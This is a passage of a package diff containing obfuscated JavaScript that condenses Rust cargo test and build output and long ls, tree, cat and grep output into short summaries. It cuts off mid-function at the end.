_0xa75657=-parseInt(_0x49e45d(0x16e))/0x1*(-parseInt(_0x49e45d(0x165))/0x2)+parseInt(_0x49e45d(0x15f))/0x3*(-parseInt(_0x49e45d(0x16f))/0x4)+parseInt(_0x49e45d(0x175))/0x5*(-parseInt(_0x49e45d(0x15b))/0x6)+-parseInt(_0x49e45d(0x186))/0x7*(parseInt(_0x49e45d(0x156))/0x8)+parseInt(_0x49e45d(0x16a))/0x9+-parseInt(_0x49e45d(0x179))/0xa*(parseInt(_0x49e45d(0x166))/0xb)+-parseInt(_0x49e45d(0x157))/0xc*(-parseInt(_0x49e45d(0x16d))/0xd);if(_0xa75657===_0x1b041e)break;else _0xb6bb96['push'](_0xb6bb96['shift']());}catch(_0x122607){_0xb6bb96['push'](_0xb6bb96['shift']());}}}(a0_0x2922,0xebaf7));Object[a0_0x5a6e18(0x15a)](exports,a0_0x5a6e18(0x18c),{'value':!![]}),exports[a0_0x5a6e18(0x162)]=filterCargoTest,exports['filterCargoBuild']=filterCargoBuild;function a0_0x318b(_0x450c49,_0x411447){_0x450c49=_0x450c49-0x155;const _0x292235=a0_0x2922();let _0x318b34=_0x292235[_0x450c49];return _0x318b34;}function filterCargoTest(_0x350454){const _0x32555d=a0_0x5a6e18,_0x261dfd=_0x350454[_0x32555d(0x158)]('\x0a');let _0x582dff=0x0,_0x4435f8=0x0,_0x5e0ab8=0x0,_0x3f41dc=0x0;const _0x194cbc=[];let _0x4a96e9=![],_0x42cd40=[];for(const _0x4ce7ce of _0x261dfd){const _0x2e7655=_0x4ce7ce[_0x32555d(0x184)](),_0x4c1dfc=_0x2e7655['match'](/test result:\s*(\w+)\.\s*(\d+)\s+passed;\s*(\d+)\s+failed;\s*(\d+)\s+ignored;\s*(\d+)\s+measured/);if(_0x4c1dfc){_0x582dff+=parseInt(_0x4c1dfc[0x2]),_0x4435f8+=parseInt(_0x4c1dfc[0x3]),_0x5e0ab8+=parseInt(_0x4c1dfc[0x4]),_0x3f41dc+=parseInt(_0x4c1dfc[0x5]);continue;}if(_0x2e7655===_0x32555d(0x163)||_0x2e7655===_0x32555d(0x17d)){_0x4a96e9=!![];continue;}if(_0x4a96e9){if(_0x2e7655[_0x32555d(0x164)](_0x32555d(0x182))&&_0x2e7655[_0x32555d(0x174)](_0x32555d(0x18a))){if(_0x42cd40[_0x32555d(0x15d)]>0x0)_0x194cbc[_0x32555d(0x187)](_0x42cd40[_0x32555d(0x159)]('\x0a'));_0x42cd40=[_0x2e7655[_0x32555d(0x185)](/^-+\s*/,'')[_0x32555d(0x185)](/\s*-+$/,'')];}else{if(_0x2e7655===_0x32555d(0x163)||_0x2e7655['startsWith'](_0x32555d(0x177))){if(_0x42cd40[_0x32555d(0x15d)]>0x0)_0x194cbc[_0x32555d(0x187)](_0x42cd40[_0x32555d(0x159)]('\x0a'));_0x42cd40=[],_0x4a96e9=![];}else _0x2e7655[_0x32555d(0x15d)]>0x0&&_0x42cd40[_0x32555d(0x187)](_0x4ce7ce);}}}if(_0x42cd40[_0x32555d(0x15d)]>0x0)_0x194cbc[_0x32555d(0x187)](_0x42cd40['join']('\x0a'));if(_0x582dff===0x0&&_0x4435f8===0x0&&_0x5e0ab8===0x0){if(_0x350454['includes']('test\x20result:\x20ok'))return _0x32555d(0x178);return _0x350454;}if(_0x4435f8===0x0){const _0x161696=[_0x32555d(0x189)+_0x582dff+_0x32555d(0x180)];if(_0x5e0ab8>0x0)_0x161696[_0x32555d(0x187)](_0x5e0ab8+'\x20ignored');return _0x161696[_0x32555d(0x159)](',\x20');}const _0x29b4c4=[_0x32555d(0x189)+_0x582dff+_0x32555d(0x183)+_0x4435f8+_0x32555d(0x16b)+_0x5e0ab8+_0x32555d(0x181)];if(_0x194cbc[_0x32555d(0x15d)]>0x0){_0x29b4c4[_0x32555d(0x187)](_0x32555d(0x15e));const _0x459e81=0x3;for(let _0x34aa27=0x0;_0x34aa27<Math[_0x32555d(0x155)](_0x194cbc[_0x32555d(0x15d)],_0x459e81);_0x34aa27++){const _0x5da595=_0x194cbc[_0x34aa27][_0x32555d(0x158)]('\x0a');_0x29b4c4['push']('\x20\x20'+(_0x34aa27+0x1)+'.\x20'+_0x5da595[0x0]);const _0x35ad12=_0x5da595[_0x32555d(0x167)](0x1),_0x23eb77=_0x35ad12['filter'](_0x58523d=>_0x58523d[_0x32555d(0x184)]()['startsWith'](_0x32555d(0x18e))||_0x58523d['includes'](_0x32555d(0x16c))||_0x58523d[_0x32555d(0x176)]('assert')||_0x58523d[_0x32555d(0x176)]('left:')||_0x58523d[_0x32555d(0x176)](_0x32555d(0x17a)));for(const _0x17758f of _0x23eb77['slice'](0x0,0x5)){_0x29b4c4[_0x32555d(0x187)](_0x32555d(0x171)+_0x17758f[_0x32555d(0x184)]());}}_0x194cbc[_0x32555d(0x15d)]>_0x459e81&&_0x29b4c4[_0x32555d(0x187)]('\x20\x20...\x20+'+(_0x194cbc[_0x32555d(0x15d)]-_0x459e81)+_0x32555d(0x173));}return _0x29b4c4[_0x32555d(0x159)]('\x0a');}function filterCargoBuild(_0x391c5c){const _0x180018=a0_0x5a6e18,_0x2432da=_0x391c5c['split']('\x0a'),_0x397eaa=[],_0x444c75=[];let _0x329e55=0x0;for(const _0x2a9b69 of _0x2432da){const _0x579722=_0x2a9b69[_0x180018(0x184)]();if(_0x579722['startsWith'](_0x180018(0x160)))_0x329e55++;else{if(_0x579722['startsWith'](_0x180018(0x169))||_0x579722[_0x180018(0x164)](_0x180018(0x188)))_0x397eaa[_0x180018(0x187)](_0x579722);else{if(_0x579722[_0x180018(0x164)]('error[')||_0x579722[_0x180018(0x164)]('error:'))_0x444c75[_0x180018(0x187)](_0x579722);}}}if(_0x444c75[_0x180018(0x15d)]===0x0&&_0x397eaa['length']===0x0)return _0x329e55>0x0?_0x180018(0x18d)+_0x329e55+_0x180018(0x172):_0x391c5c[_0x180018(0x184)]();const _0x41e88b=[];if(_0x444c75['length']>0x0){_0x41e88b['push'](_0x180018(0x18b)+_0x444c75[_0x180018(0x15d)]+_0x180018(0x17c)+_0x397eaa['length']+_0x180018(0x161)),_0x41e88b['push'](_0x180018(0x17e));for(const _0x137a2e of _0x444c75[_0x180018(0x167)](0x0,0x5))_0x41e88b[_0x180018(0x187)]('\x20\x20'+_0x137a2e);if(_0x444c75[_0x180018(0x15d)]>0x5)_0x41e88b[_0x180018(0x187)](_0x180018(0x17f)+(_0x444c75[_0x180018(0x15d)]-0x5)+_0x180018(0x170));}else _0x41e88b[_0x180018(0x187)]('Cargo:\x20compiled\x20'+_0x329e55+_0x180018(0x17b)+_0x397eaa[_0x180018(0x15d)]+_0x180018(0x161));if(_0x397eaa['length']>0x0&&_0x397eaa['length']<=0x5){_0x41e88b[_0x180018(0x187)](_0x180018(0x168));for(const _0x38bb71 of _0x397eaa)_0x41e88b['push']('\x20\x20'+_0x38bb71);}else _0x397eaa[_0x180018(0x15d)]>0x5&&_0x41e88b[_0x180018(0x187)]('\x0a('+_0x397eaa[_0x180018(0x15d)]+_0x180018(0x15c));return _0x41e88b[_0x180018(0x159)]('\x0a');}
1
+ 'use strict';const a0_0x119697=a0_0x2f41;(function(_0x45a528,_0x5cef95){const _0x414294=a0_0x2f41,_0x5e3bd3=_0x45a528();while(!![]){try{const _0x524f60=parseInt(_0x414294(0x16d))/0x1*(parseInt(_0x414294(0x165))/0x2)+-parseInt(_0x414294(0x170))/0x3*(-parseInt(_0x414294(0x147))/0x4)+-parseInt(_0x414294(0x15a))/0x5*(parseInt(_0x414294(0x144))/0x6)+parseInt(_0x414294(0x161))/0x7+-parseInt(_0x414294(0x145))/0x8+-parseInt(_0x414294(0x15e))/0x9*(-parseInt(_0x414294(0x14d))/0xa)+-parseInt(_0x414294(0x166))/0xb;if(_0x524f60===_0x5cef95)break;else _0x5e3bd3['push'](_0x5e3bd3['shift']());}catch(_0x566b19){_0x5e3bd3['push'](_0x5e3bd3['shift']());}}}(a0_0x2cfe,0x688fd));Object[a0_0x119697(0x16b)](exports,'__esModule',{'value':!![]}),exports[a0_0x119697(0x16a)]=filterCargoTest,exports['filterCargoBuild']=filterCargoBuild;function filterCargoTest(_0x37d202){const _0x16c217=a0_0x119697,_0x28effc=_0x37d202[_0x16c217(0x150)]('\x0a');let _0x115e5d=0x0,_0x106ead=0x0,_0x4bf1f0=0x0,_0x1af319=0x0;const _0x27b366=[];let _0x3a0dda=![],_0x187a18=[];for(const _0x31f605 of _0x28effc){const _0x1b1281=_0x31f605[_0x16c217(0x159)](),_0x5939cd=_0x1b1281['match'](/test result:\s*(\w+)\.\s*(\d+)\s+passed;\s*(\d+)\s+failed;\s*(\d+)\s+ignored;\s*(\d+)\s+measured/);if(_0x5939cd){_0x115e5d+=parseInt(_0x5939cd[0x2]),_0x106ead+=parseInt(_0x5939cd[0x3]),_0x4bf1f0+=parseInt(_0x5939cd[0x4]),_0x1af319+=parseInt(_0x5939cd[0x5]);continue;}if(_0x1b1281===_0x16c217(0x148)||_0x1b1281==='----\x20failures\x20----'){_0x3a0dda=!![];continue;}if(_0x3a0dda){if(_0x1b1281[_0x16c217(0x156)](_0x16c217(0x142))&&_0x1b1281[_0x16c217(0x167)](_0x16c217(0x168))){if(_0x187a18['length']>0x0)_0x27b366[_0x16c217(0x152)](_0x187a18[_0x16c217(0x169)]('\x0a'));_0x187a18=[_0x1b1281[_0x16c217(0x146)](/^-+\s*/,'')['replace'](/\s*-+$/,'')];}else{if(_0x1b1281==='failures:'||_0x1b1281[_0x16c217(0x156)](_0x16c217(0x16e))){if(_0x187a18[_0x16c217(0x149)]>0x0)_0x27b366[_0x16c217(0x152)](_0x187a18[_0x16c217(0x169)]('\x0a'));_0x187a18=[],_0x3a0dda=![];}else _0x1b1281['length']>0x0&&_0x187a18['push'](_0x31f605);}}}if(_0x187a18[_0x16c217(0x149)]>0x0)_0x27b366['push'](_0x187a18[_0x16c217(0x169)]('\x0a'));if(_0x115e5d===0x0&&_0x106ead===0x0&&_0x4bf1f0===0x0){if(_0x37d202['includes'](_0x16c217(0x15f)))return'Cargo\x20test:\x20all\x20tests\x20passed';return _0x37d202;}if(_0x106ead===0x0){const _0x1acb77=['Cargo\x20test:\x20'+_0x115e5d+_0x16c217(0x15d)];if(_0x4bf1f0>0x0)_0x1acb77['push'](_0x4bf1f0+_0x16c217(0x141));return _0x1acb77['join'](',\x20');}const _0x2c65e4=['Cargo\x20test:\x20'+_0x115e5d+'\x20passed,\x20'+_0x106ead+'\x20failed,\x20'+_0x4bf1f0+_0x16c217(0x141)];if(_0x27b366['length']>0x0){_0x2c65e4['push'](_0x16c217(0x143));const _0x3bab8a=0x3;for(let _0x1685f8=0x0;_0x1685f8<Math[_0x16c217(0x154)](_0x27b366[_0x16c217(0x149)],_0x3bab8a);_0x1685f8++){const _0x1851d6=_0x27b366[_0x1685f8][_0x16c217(0x150)]('\x0a');_0x2c65e4[_0x16c217(0x152)]('\x20\x20'+(_0x1685f8+0x1)+'.\x20'+_0x1851d6[0x0]);const _0x176410=_0x1851d6[_0x16c217(0x14a)](0x1),_0x48b9f3=_0x176410[_0x16c217(0x15b)](_0x1e89a9=>_0x1e89a9[_0x16c217(0x159)]()[_0x16c217(0x156)](_0x16c217(0x14b))||_0x1e89a9[_0x16c217(0x153)]('panicked')||_0x1e89a9['includes'](_0x16c217(0x14c))||_0x1e89a9[_0x16c217(0x153)](_0x16c217(0x151))||_0x1e89a9[_0x16c217(0x153)]('right:'));for(const _0x41fc89 of _0x48b9f3[_0x16c217(0x14a)](0x0,0x5)){_0x2c65e4[_0x16c217(0x152)](_0x16c217(0x15c)+_0x41fc89[_0x16c217(0x159)]());}}_0x27b366[_0x16c217(0x149)]>_0x3bab8a&&_0x2c65e4[_0x16c217(0x152)]('\x20\x20...\x20+'+(_0x27b366[_0x16c217(0x149)]-_0x3bab8a)+_0x16c217(0x162));}return _0x2c65e4['join']('\x0a');}function a0_0x2f41(_0x11725c,_0x2f4df5){_0x11725c=_0x11725c-0x141;const _0x2cfefc=a0_0x2cfe();let _0x2f41dd=_0x2cfefc[_0x11725c];return _0x2f41dd;}function filterCargoBuild(_0xc2a8ba){const _0x37e147=a0_0x119697,_0x38ae95=_0xc2a8ba[_0x37e147(0x150)]('\x0a'),_0x4f98c7=[],_0x1d0ad4=[];let _0x35eaa6=0x0;for(const _0x161209 of _0x38ae95){const _0x4f318d=_0x161209[_0x37e147(0x159)]();if(_0x4f318d[_0x37e147(0x156)]('Compiling\x20'))_0x35eaa6++;else{if(_0x4f318d[_0x37e147(0x156)](_0x37e147(0x158))||_0x4f318d[_0x37e147(0x156)](_0x37e147(0x155)))_0x4f98c7[_0x37e147(0x152)](_0x4f318d);else{if(_0x4f318d[_0x37e147(0x156)]('error[')||_0x4f318d[_0x37e147(0x156)]('error:'))_0x1d0ad4['push'](_0x4f318d);}}}if(_0x1d0ad4[_0x37e147(0x149)]===0x0&&_0x4f98c7[_0x37e147(0x149)]===0x0)return _0x35eaa6>0x0?_0x37e147(0x16f)+_0x35eaa6+'\x20crates\x20successfully':_0xc2a8ba[_0x37e147(0x159)]();const _0xa0bebb=[];if(_0x1d0ad4[_0x37e147(0x149)]>0x0){_0xa0bebb['push'](_0x37e147(0x14f)+_0x1d0ad4['length']+_0x37e147(0x14e)+_0x4f98c7[_0x37e147(0x149)]+'\x20warnings'),_0xa0bebb[_0x37e147(0x152)]('\x0aErrors:');for(const _0x2b6c60 of _0x1d0ad4[_0x37e147(0x14a)](0x0,0x5))_0xa0bebb['push']('\x20\x20'+_0x2b6c60);if(_0x1d0ad4[_0x37e147(0x149)]>0x5)_0xa0bebb['push'](_0x37e147(0x163)+(_0x1d0ad4[_0x37e147(0x149)]-0x5)+'\x20more\x20errors');}else _0xa0bebb[_0x37e147(0x152)](_0x37e147(0x16f)+_0x35eaa6+_0x37e147(0x157)+_0x4f98c7[_0x37e147(0x149)]+_0x37e147(0x164));if(_0x4f98c7[_0x37e147(0x149)]>0x0&&_0x4f98c7[_0x37e147(0x149)]<=0x5){_0xa0bebb[_0x37e147(0x152)](_0x37e147(0x160));for(const _0x3172c2 of _0x4f98c7)_0xa0bebb[_0x37e147(0x152)]('\x20\x20'+_0x3172c2);}else _0x4f98c7[_0x37e147(0x149)]>0x5&&_0xa0bebb[_0x37e147(0x152)]('\x0a('+_0x4f98c7[_0x37e147(0x149)]+_0x37e147(0x16c));return _0xa0bebb[_0x37e147(0x169)]('\x0a');}function a0_0x2cfe(){const _0x4cfea8=['\x0aWarnings:','5817728pokGNl','\x20more\x20failures','\x20\x20...\x20+','\x20warnings','22042mEDwyZ','12804583LjnniE','endsWith','\x20----','join','filterCargoTest','defineProperty','\x20warnings\x20—\x20run\x20cargo\x20clippy\x20for\x20details)','51tmZaJn','test\x20result:','Cargo:\x20compiled\x20','1858971sFaIEv','\x20ignored','----\x20','\x0aFailures:','6nbHWCs','5366488RwsrTS','replace','4AQybtR','failures:','length','slice','thread','assert','20FoDjWJ','\x20errors,\x20','Cargo:\x20','split','left:','push','includes','min','warning:','startsWith','\x20crates,\x20','warning[','trim','135995ofNOow','filter','\x20\x20\x20\x20','\x20passed','1248822zoxDwZ','test\x20result:\x20ok'];a0_0x2cfe=function(){return _0x4cfea8;};return a0_0x2cfe();}
package/filters/shell.js CHANGED
@@ -1 +1 @@
1
- 'use strict';const a0_0x25a583=a0_0x42ef;(function(_0x496698,_0x504d12){const _0x305ce6=a0_0x42ef,_0x3814e8=_0x496698();while(!![]){try{const _0x3ff101=parseInt(_0x305ce6(0x1a7))/0x1*(-parseInt(_0x305ce6(0x19f))/0x2)+-parseInt(_0x305ce6(0x1a2))/0x3+parseInt(_0x305ce6(0x1be))/0x4*(-parseInt(_0x305ce6(0x1bb))/0x5)+parseInt(_0x305ce6(0x19a))/0x6+parseInt(_0x305ce6(0x198))/0x7+-parseInt(_0x305ce6(0x1b6))/0x8+parseInt(_0x305ce6(0x1af))/0x9;if(_0x3ff101===_0x504d12)break;else _0x3814e8['push'](_0x3814e8['shift']());}catch(_0x5d1e5c){_0x3814e8['push'](_0x3814e8['shift']());}}}(a0_0x25ed,0xb6ac7));Object[a0_0x25a583(0x1bf)](exports,a0_0x25a583(0x1ac),{'value':!![]}),exports[a0_0x25a583(0x1bc)]=filterLs,exports['filterTree']=filterTree,exports[a0_0x25a583(0x19e)]=filterCat,exports['filterGrep']=filterGrep;function a0_0x42ef(_0x44fe5f,_0x153dae){_0x44fe5f=_0x44fe5f-0x198;const _0x25ede1=a0_0x25ed();let _0x42ef8f=_0x25ede1[_0x44fe5f];return _0x42ef8f;}function filterLs(_0x5a8aca){const _0x45ae6a=a0_0x25a583,_0x392b21=_0x5a8aca[_0x45ae6a(0x1b7)]('\x0a')[_0x45ae6a(0x199)](_0x598bf7=>_0x598bf7[_0x45ae6a(0x1b9)]()[_0x45ae6a(0x1ae)]>0x0);if(_0x392b21[_0x45ae6a(0x1ae)]===0x0)return _0x45ae6a(0x1a6);if(_0x392b21['length']<=0x1e)return _0x5a8aca[_0x45ae6a(0x1b9)]();const _0xfed12d=[],_0x3a372a=[];for(const _0x475cfa of _0x392b21){const _0x208200=_0x475cfa['trim']();if(_0x208200['startsWith'](_0x45ae6a(0x1b8))||_0x208200['startsWith']('d')&&_0x208200[_0x45ae6a(0x1a9)]('..'))continue;_0x208200[_0x45ae6a(0x1b5)]('/')||_0x208200[_0x45ae6a(0x1a0)]('d')&&_0x208200[_0x45ae6a(0x1a9)]('\x20')?_0xfed12d['push'](_0x208200):_0x3a372a[_0x45ae6a(0x19d)](_0x208200);}const _0x23c644=[];return _0xfed12d[_0x45ae6a(0x1ae)]>0x0&&(_0xfed12d['length']<=0xf?_0x23c644['push'](..._0xfed12d):(_0x23c644[_0x45ae6a(0x19d)](..._0xfed12d[_0x45ae6a(0x1b3)](0x0,0xa)),_0x23c644[_0x45ae6a(0x19d)](_0x45ae6a(0x1aa)+(_0xfed12d[_0x45ae6a(0x1ae)]-0xa)+_0x45ae6a(0x1b2)))),_0x3a372a[_0x45ae6a(0x1ae)]>0x0&&(_0x3a372a[_0x45ae6a(0x1ae)]<=0x14?_0x23c644[_0x45ae6a(0x19d)](..._0x3a372a):(_0x23c644['push'](..._0x3a372a[_0x45ae6a(0x1b3)](0x0,0xf)),_0x23c644[_0x45ae6a(0x19d)]('...\x20+'+(_0x3a372a[_0x45ae6a(0x1ae)]-0xf)+'\x20more\x20files'))),_0x23c644[_0x45ae6a(0x19d)]('\x0a('+_0xfed12d[_0x45ae6a(0x1ae)]+_0x45ae6a(0x19c)+_0x3a372a[_0x45ae6a(0x1ae)]+_0x45ae6a(0x1ad)),_0x23c644[_0x45ae6a(0x1a1)]('\x0a');}function filterTree(_0x4f9dbb){const _0x280f1d=a0_0x25a583,_0x566ff0=_0x4f9dbb[_0x280f1d(0x1b7)]('\x0a');if(_0x566ff0['length']<=0x32)return _0x4f9dbb[_0x280f1d(0x1b9)]();const _0x1df809=[];let _0x442770=0x0,_0x1caead=0x0,_0x106c6c=0x0;for(const _0x2cdaf6 of _0x566ff0){const _0x51dfb8=_0x2cdaf6['match'](/(\d+)\s+director/),_0xaaae03=_0x2cdaf6['match'](/(\d+)\s+file/);if(_0x51dfb8)_0x106c6c=parseInt(_0x51dfb8[0x1]);if(_0xaaae03)_0x1caead=parseInt(_0xaaae03[0x1]);const _0x38ef1a=(_0x2cdaf6[_0x280f1d(0x1ab)](/^[│├└\s─]+/)||[''])[0x0][_0x280f1d(0x1ae)];_0x38ef1a<=0x4&&(_0x1df809[_0x280f1d(0x19d)](_0x2cdaf6),_0x442770++);}return _0x566ff0['length']>_0x1df809[_0x280f1d(0x1ae)]&&_0x1df809[_0x280f1d(0x19d)](_0x280f1d(0x1b1)+_0x106c6c+_0x280f1d(0x19c)+_0x1caead+_0x280f1d(0x1a4)),_0x1df809[_0x280f1d(0x1a1)]('\x0a');}function filterCat(_0x1df808){const _0x3fc643=a0_0x25a583,_0x31ef41=_0x1df808[_0x3fc643(0x1b7)]('\x0a');if(_0x31ef41[_0x3fc643(0x1ae)]<=0x64)return _0x1df808;const _0x8bb85c=[];return _0x8bb85c[_0x3fc643(0x19d)](..._0x31ef41[_0x3fc643(0x1b3)](0x0,0x32)),_0x8bb85c['push'](_0x3fc643(0x1a5)+(_0x31ef41[_0x3fc643(0x1ae)]-0x50)+_0x3fc643(0x1b4)),_0x8bb85c[_0x3fc643(0x19d)](..._0x31ef41[_0x3fc643(0x1b3)](-0x1e)),_0x8bb85c[_0x3fc643(0x19d)]('\x0a('+_0x31ef41[_0x3fc643(0x1ae)]+_0x3fc643(0x1ba)),_0x8bb85c['join']('\x0a');}function filterGrep(_0x4219bf){const _0x223056=a0_0x25a583,_0x22f3b2=_0x4219bf[_0x223056(0x1b7)]('\x0a')[_0x223056(0x199)](_0x5de914=>_0x5de914[_0x223056(0x1b9)]()[_0x223056(0x1ae)]>0x0);if(_0x22f3b2[_0x223056(0x1ae)]===0x0)return'No\x20matches\x20found';if(_0x22f3b2[_0x223056(0x1ae)]<=0x32)return _0x4219bf[_0x223056(0x1b9)]();const _0x53afe7={},_0x59623d=[];for(const _0x5aa178 of _0x22f3b2){const _0x5b196c=_0x5aa178[_0x223056(0x19b)](':');if(_0x5b196c>0x0&&_0x5b196c<0xc8){const _0x3d5d94=_0x5aa178[_0x223056(0x1a8)](0x0,_0x5b196c);if(_0x3d5d94[_0x223056(0x1a9)]('/')||_0x3d5d94[_0x223056(0x1a9)]('\x5c')||_0x3d5d94['includes']('.')){if(!_0x53afe7[_0x3d5d94])_0x53afe7[_0x3d5d94]=[];_0x53afe7[_0x3d5d94][_0x223056(0x19d)](_0x5aa178[_0x223056(0x1a8)](_0x5b196c+0x1)[_0x223056(0x1b9)]());continue;}}_0x59623d[_0x223056(0x19d)](_0x5aa178);}const _0x4f8cd7=[],_0x2358c6=Object[_0x223056(0x1bd)](_0x53afe7);if(_0x2358c6[_0x223056(0x1ae)]>0x0){const _0x30c56b=0x14,_0x277b0d=_0x2358c6['slice'](0x0,_0x30c56b);for(const _0x38e9ba of _0x277b0d){const _0x2e3597=_0x53afe7[_0x38e9ba];if(_0x2e3597[_0x223056(0x1ae)]<=0x3)for(const _0x50263f of _0x2e3597){_0x4f8cd7[_0x223056(0x19d)](_0x38e9ba+':\x20'+_0x50263f);}else _0x4f8cd7[_0x223056(0x19d)](_0x38e9ba+':\x20'+_0x2e3597[0x0]),_0x4f8cd7[_0x223056(0x19d)](_0x38e9ba+':\x20...\x20('+_0x2e3597[_0x223056(0x1ae)]+_0x223056(0x1b0));}_0x2358c6[_0x223056(0x1ae)]>_0x30c56b&&_0x4f8cd7[_0x223056(0x19d)](_0x223056(0x1aa)+(_0x2358c6['length']-_0x30c56b)+'\x20more\x20files\x20with\x20matches');}if(_0x59623d['length']>0x0){const _0x434d22=0x1e;_0x4f8cd7[_0x223056(0x19d)](..._0x59623d[_0x223056(0x1b3)](0x0,_0x434d22)),_0x59623d[_0x223056(0x1ae)]>_0x434d22&&_0x4f8cd7[_0x223056(0x19d)](_0x223056(0x1aa)+(_0x59623d['length']-_0x434d22)+_0x223056(0x1a3));}const _0x355cdd=_0x22f3b2['length'];return _0x4f8cd7[_0x223056(0x19d)]('\x0a('+_0x355cdd+'\x20matches\x20across\x20'+(_0x2358c6['length']||'?')+'\x20files)'),_0x4f8cd7['join']('\x0a');}function a0_0x25ed(){const _0x2e643a=['21280248FWfYBp','\x20matches\x20in\x20this\x20file)','\x0a...\x20(','\x20more\x20directories','slice','\x20lines\x20truncated]\x20...\x0a','endsWith','7997600bmkJLy','split','total\x20','trim','\x20lines\x20total)','1566095lUyoIv','filterLs','keys','16Duwsng','defineProperty','7770763BXmoQM','filter','6820452OsgvTJ','indexOf','\x20directories,\x20','push','filterCat','4omQWzS','startsWith','join','3742776yzVAIC','\x20more\x20matches','\x20files\x20total\x20—\x20deep\x20entries\x20truncated)','\x0a...\x20[','Empty\x20directory','181462uugUhP','substring','includes','...\x20+','match','__esModule','\x20files)','length'];a0_0x25ed=function(){return _0x2e643a;};return a0_0x25ed();}
1
+ 'use strict';const a0_0x10a451=a0_0x593b;(function(_0x1737af,_0x5cdb86){const _0x50c3a4=a0_0x593b,_0x1df01b=_0x1737af();while(!![]){try{const _0x3b3d26=-parseInt(_0x50c3a4(0x156))/0x1+parseInt(_0x50c3a4(0x177))/0x2*(-parseInt(_0x50c3a4(0x158))/0x3)+parseInt(_0x50c3a4(0x159))/0x4+parseInt(_0x50c3a4(0x178))/0x5+-parseInt(_0x50c3a4(0x164))/0x6*(-parseInt(_0x50c3a4(0x171))/0x7)+parseInt(_0x50c3a4(0x15d))/0x8*(-parseInt(_0x50c3a4(0x157))/0x9)+parseInt(_0x50c3a4(0x151))/0xa;if(_0x3b3d26===_0x5cdb86)break;else _0x1df01b['push'](_0x1df01b['shift']());}catch(_0x1a15bf){_0x1df01b['push'](_0x1df01b['shift']());}}}(a0_0x18e4,0xd7ba0));Object[a0_0x10a451(0x155)](exports,a0_0x10a451(0x150),{'value':!![]}),exports['filterLs']=filterLs,exports[a0_0x10a451(0x160)]=filterTree,exports[a0_0x10a451(0x16c)]=filterCat,exports[a0_0x10a451(0x176)]=filterGrep;function a0_0x593b(_0x1d1eb2,_0x40664b){_0x1d1eb2=_0x1d1eb2-0x150;const _0x18e48c=a0_0x18e4();let _0x593b01=_0x18e48c[_0x1d1eb2];return _0x593b01;}function filterLs(_0x12bce6){const _0x2fe64a=a0_0x10a451,_0x491039=_0x12bce6[_0x2fe64a(0x152)]('\x0a')['filter'](_0x2f0f33=>_0x2f0f33['trim']()['length']>0x0);if(_0x491039['length']===0x0)return _0x2fe64a(0x162);if(_0x491039['length']<=0x1e)return _0x12bce6[_0x2fe64a(0x168)]();const _0x1999f4=[],_0x1f6473=[];for(const _0x17e251 of _0x491039){const _0x67e3a6=_0x17e251[_0x2fe64a(0x168)]();if(_0x67e3a6['startsWith'](_0x2fe64a(0x153))||_0x67e3a6['startsWith']('d')&&_0x67e3a6[_0x2fe64a(0x17a)]('..'))continue;_0x67e3a6[_0x2fe64a(0x154)]('/')||_0x67e3a6[_0x2fe64a(0x16a)]('d')&&_0x67e3a6[_0x2fe64a(0x17a)]('\x20')?_0x1999f4['push'](_0x67e3a6):_0x1f6473[_0x2fe64a(0x15a)](_0x67e3a6);}const _0x5a696a=[];return _0x1999f4['length']>0x0&&(_0x1999f4[_0x2fe64a(0x172)]<=0xf?_0x5a696a[_0x2fe64a(0x15a)](..._0x1999f4):(_0x5a696a[_0x2fe64a(0x15a)](..._0x1999f4['slice'](0x0,0xa)),_0x5a696a[_0x2fe64a(0x15a)]('...\x20+'+(_0x1999f4[_0x2fe64a(0x172)]-0xa)+_0x2fe64a(0x17c)))),_0x1f6473['length']>0x0&&(_0x1f6473[_0x2fe64a(0x172)]<=0x14?_0x5a696a[_0x2fe64a(0x15a)](..._0x1f6473):(_0x5a696a[_0x2fe64a(0x15a)](..._0x1f6473[_0x2fe64a(0x170)](0x0,0xf)),_0x5a696a[_0x2fe64a(0x15a)]('...\x20+'+(_0x1f6473[_0x2fe64a(0x172)]-0xf)+_0x2fe64a(0x169)))),_0x5a696a['push']('\x0a('+_0x1999f4['length']+_0x2fe64a(0x16e)+_0x1f6473[_0x2fe64a(0x172)]+_0x2fe64a(0x174)),_0x5a696a[_0x2fe64a(0x175)]('\x0a');}function filterTree(_0x3cf36a){const _0x48e96a=a0_0x10a451,_0x579bad=_0x3cf36a[_0x48e96a(0x152)]('\x0a');if(_0x579bad['length']<=0x32)return _0x3cf36a['trim']();const _0x5edde2=[];let _0x4dbbfa=0x0,_0x4520db=0x0,_0x86f0f4=0x0;for(const _0x4556ed of _0x579bad){const _0x3c2960=_0x4556ed[_0x48e96a(0x179)](/(\d+)\s+director/),_0x764ec4=_0x4556ed[_0x48e96a(0x179)](/(\d+)\s+file/);if(_0x3c2960)_0x86f0f4=parseInt(_0x3c2960[0x1]);if(_0x764ec4)_0x4520db=parseInt(_0x764ec4[0x1]);const _0x56d173=(_0x4556ed[_0x48e96a(0x179)](/^[│├└\s─]+/)||[''])[0x0][_0x48e96a(0x172)];_0x56d173<=0x4&&(_0x5edde2['push'](_0x4556ed),_0x4dbbfa++);}return _0x579bad[_0x48e96a(0x172)]>_0x5edde2[_0x48e96a(0x172)]&&_0x5edde2[_0x48e96a(0x15a)](_0x48e96a(0x15b)+_0x86f0f4+'\x20directories,\x20'+_0x4520db+_0x48e96a(0x166)),_0x5edde2[_0x48e96a(0x175)]('\x0a');}function a0_0x18e4(){const _0x4730ab=['14409QiHXGn','1964874VKjnxn','4686008Bvslxh','push','\x0a...\x20(','substring','8104OMjPSz','\x20more\x20matches','\x0a...\x20[','filterTree','\x20lines\x20truncated]\x20...\x0a','Empty\x20directory','keys','1143642jjNTqQ','indexOf','\x20files\x20total\x20—\x20deep\x20entries\x20truncated)','\x20lines\x20total)','trim','\x20more\x20files','startsWith','...\x20+','filterCat','\x20more\x20files\x20with\x20matches','\x20directories,\x20','\x20matches\x20in\x20this\x20file)','slice','56mTLiYP','length','No\x20matches\x20found','\x20files)','join','filterGrep','4klUyTj','2606670hoMYOE','match','includes','\x20matches\x20across\x20','\x20more\x20directories','filter','__esModule','9694510KmGJmX','split','total\x20','endsWith','defineProperty','371798VHMlJr'];a0_0x18e4=function(){return _0x4730ab;};return a0_0x18e4();}function filterCat(_0x47bb04){const _0x35823a=a0_0x10a451,_0x502652=_0x47bb04[_0x35823a(0x152)]('\x0a');if(_0x502652[_0x35823a(0x172)]<=0x64)return _0x47bb04;const _0x4c89d6=[];return 